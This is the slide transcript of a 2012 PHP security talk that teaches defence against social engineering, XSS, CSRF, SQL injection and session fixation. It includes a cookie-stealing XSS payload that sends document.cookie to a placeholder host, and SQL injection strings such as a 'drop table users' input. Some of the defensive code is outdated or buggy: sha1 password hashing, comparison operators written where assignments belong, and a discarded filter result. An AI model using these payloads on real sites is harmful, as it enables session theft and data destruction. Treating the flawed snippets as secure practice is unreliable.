Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security 101

Security 101

This was for a talk given at the Atlanta PHP User Group on April 5th, 2012. This is a primer on PHP security with a bit of input on technical implementations and Social Engineering.

Shawn Stratton

April 06, 2012
Tweet

More Decks by Shawn Stratton

Other Decks in Technology

Transcript

  1. Who Am I • Systems Architect @ Discovery Communications. •

    Previous Speaker @ Atlanta PHP, Zendcon. • Previously worked on NationalGuard.com’s recruitment application (Security Clearance and all.)
  2. Kevin Mitnick • Hacked IBM, Motorola, DEC, Nokia, Sun Microsystems,

    Fujitsu Siemens. (Confirmed) • Hacked Pacific Bell, California DMV, FBI, Pentagon. (Alleged)
  3. SOCIAL ENGINEERING • Phishing - Getting information by simply asking

    for it. • Baiting - Leaving infected media (USB Stick, CD’s, wireless networks, etc) that compromises a system. • Tailgating - Entering a secured area by following someone.
  4. Social Engineering - Tips • Don’t give out privileged information,

    ever. • Know who you’re talking to, ask to call them back, etc. • Common Sense helps a lot. • Never take anything for granted. • Don’t pick up disks/ usb sticks/etc & insert them into your computer (PC, Mac, or even Linux)
  5. Security is a Mindset • Three Principles: • Defense in

    Depth • Least Privilege • Least complicated • Trust Nothing, Assume Nothing. Defense in Depth - Redundant safeguards are valuable. Least Privilege - Grant as little Freedom as possible Least Complicated - Complexity breeds mistakes. (From Shiflett’s Evolution of Web Security)
  6. Security In Practice • Working with Data has two practices:

    • Filter Input • Escape Output • Working with People has many many more!
  7. Server Security http://flic.kr/p/9SD2tZ by Rob Allan (Akrabat) This is actually

    Ed Finkler, he used to run the Spaz project and is a member of several other open source projects. Because of the context though most will assume he’s a hacker, this is called pre-texting.
  8. Server Side Security • Install Suhosin patch. • Be smart

    about your passwords. • Disable register globals, magic quotes, etc. • Never run PHP/Apache/Nginx/etc as administrator. • Keep up with Patches. This is a long topic, I’m not going to fully cover it. If you don’t know what you’re doing, PLEASE hire a sysadmin. Sysadmin’s need love too!
  9. Server Side Security Only True Security Option: Unplug machine from

    internet, telephone, power, etc and never power it back on.
  10. Top Vulnerabilities for Web apps • Cross Site Scripting •

    68% • Unintentional Disclosure • 66% • Session Fixation / Hijacking • 53% • Sql Injection • 32% Data according to Veracode State of Software Security v4. Sample group is 9910 apps.
  11. Cross Site Scripting (XSS) • Inclusion of Dynamic Code via

    unfiltered method of entry. • Can be one time (get parameter/post parameter.) • Can be permanent (blog post, blog comment, forum post, etc.)
  12. An Examples <?php echo $_GET['user']; ?> --- url?user=%3Cscript%3E%2F%2FDo %20Something%3C%2Fscript%3E or

    user = <script>//Do Something</script --- <?php echo "<script>//Do Something</script>"; ?>
  13. Whoa • If this were a crafted link, 1 person

    could be exploited. • If this is stored in a forum/blog, many people could be exploited.
  14. The Danger? cookies --- <script>document.location = 'http:// somelocation/steal/?cookie=' + encodeURI(

    document.cookie ) </script> form data --- <script>getElementById('form').target = http://somelocation/stealform</script>
  15. Special Chars <?php echo htmlspecialchars($_GET['user']); ?> --- url?user=%3Cscript%3EDo%20Something%3C %2Fscript%3E or

    user = <script>Do Something</script --- <?php echo "&LT;script&GT;Do Something&LT/ script&GT;"; ?>
  16. CSRF - Cross Site Request Forgeries • Uses your own

    login / cookies/ sessions /etc against you. • Makes requests in the back end (that have side effects) without your knowledge. • Can be done by a malicious site, or, via XSS.
  17. Using Tokens on your Forms <?php $token = sha1( uniqid(rand(true)));

    $_SESSION['token'] = $token; --- <input type="hidden" name='token' value="<?= $token?>" /> --- if ($_POST['token'] != $_SESSION['token']) { // ABORT ABORT }
  18. What is SQL Injection? • Allowing arbitrary SQL statements to

    alter the intended “flow” of your query. • Can change your conditions in unexpected ways -- admin’ or 1 = 1; -- • Can do actions -- admin’; drop table stuff; --
  19. Some Insecure Code url?userid=42 <?php $query = "SELECT * FROM

    users WHERE userid = '{$_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42';
  20. So why is it insecure? url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid =

    42' drop table users; -- <?php $query = "SELECT * FROM users WHERE userid = '{$_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42'; drop table users;-- ';
  21. Some Alternatives • Specific to this example: • Cast to

    integer. • Otherwise: • Filter Input. • Use Prepared Statements. • mysql_real_escape_string.
  22. Cast to Int url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop

    table users; -- <?php $query = "SELECT * FROM users WHERE userid = '{ (int) $_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42';
  23. Filtering url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop table users;

    -- <?php $userid = filter_input(INPUT_GET, 'userid', FILTER_SANITIZE_NUMBER_INT); $query = "SELECT * FROM users WHERE userid = '{$userid}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42';
  24. Prepared Statements url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop table

    users; -- <?php $stmt = $pdo->prepare("SELECT * FROM users WHERE userid = :userid"); $stmt->execute(array(':userid' => $_GET['userid'])); $result = $stmt->fetchAll(); ?> SELECT * FROM users WHERE userid = :userid;
  25. Tying it all together url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42'

    drop table users; -- <?php filter_input(INPUT_GET, 'userid', FILTER_SANITIZE_NUMBER_INT); $stmt = $pdo->prepare("SELECT * FROM users WHERE userid = :userid"); $stmt->execute(array(':userid' => $userid)); $result = $stmt->fetchAll(); ?> SELECT * FROM users WHERE userid = :userid;
  26. A note on Pagination • Set limits, make sure you’re

    not above your limit. • This is a DDOS attack vector, not setting a limit or too large of a limit can put additional strain on your application & database servers.
  27. Session Fixation • Various ways to do this. • Send

    someone a link with a Session ID, the server will generate that Session. • Figure out the session identifier generation pattern and change sessions.
  28. Usual Code for Session Fixation <?PHP session_start(); ----- Login Code

    ----- if ($login_successful) { $_SESSION['userid'] = $userid; $_SESSION['loggedin'] = true; }
  29. How is this exploited? • Send target url with PHPSESSIONID=someknownstring

    • Target accesses url, signs in. • Access url you sent target. • Profit.
  30. How can it be prevented • Regenerate the Session ID

    on changes to permission levels. We’ll look at other ways of handling this in another section.
  31. Session Fixation Prevention <?PHP session_start(); ----- Login Code ----- if

    ($login_successful) { session_regenerate_id(true); $_SESSION['userid'] = $userid; $_SESSION['loggedin'] = true; }
  32. Session Hijacking • Guessing someone’s session id. • Grabbing their

    cookie (think xss). • Someone sharing a link with the PHPSESSIONID on it.
  33. Fingerprint the UA <?php $_SESSION['UA'] == sha1 ($_SESSION['HTTP_USER_AGENT']); --- if

    ($_SESSION['UA'] != sha1 ($_SESSION['HTTP_USER_AGENT']) { session_destroy(); //Force Re-Login }
  34. Using a Token <?php $token = sha1 (md5(uniqid(rand(),TRUE)); $_SESSION['token'] ==

    $token; //store token elsewhere --- if ($_SESSION['token'] != $token) { session_destroy(); //Force Re-Login } //Regenerate token from time to time
  35. How to fix • Set allow_url_include to off. • Maybe

    set allow_url_fopen to off. • Quit doing it wrong.
  36. Fix the Underlying Problem <?php switch ($_GET['action']){ case 'post': require

    ('post'); break; default: require ('index'); break; }
  37. Sanitizing Input • Use strip_tags before storing data or processing

    it out. • Cast Data to it’s type if you’re not working with strings. • (int) $number • (bool) $condition • Do this on things that are not being fed from $GET/$POST you never know when you’ll change that.
  38. Escaping Output • Use htmlspecialchars to convert < to &GT;

    • Be aware of where you’re getting the data.
  39. On Passwords • Never store plaintext. • if (sha1($_POST[‘pass’]) ===

    $db_return) • Salting is awesome. • if (sha1(‘sa’ . $_POST[‘pass’] . ‘lt) === $db_return)
  40. On Password Complexity • Military Standard is Strong - 15

    ~68.5 bits of entropy • 15 chars long. • 2 upper case, 2 lower case letters. • 2 numbers. • 2 special characters.
  41. Some Important things. • Filter Input & Escape Output, always.

    • Use prepared statements, filter your query params. • Disable magic_quotes, register_globals, allow_url_fopen. • Give minimum permissions to daemons, processes, people. • Regenerate your session id’s and use tokens. • Use common sense.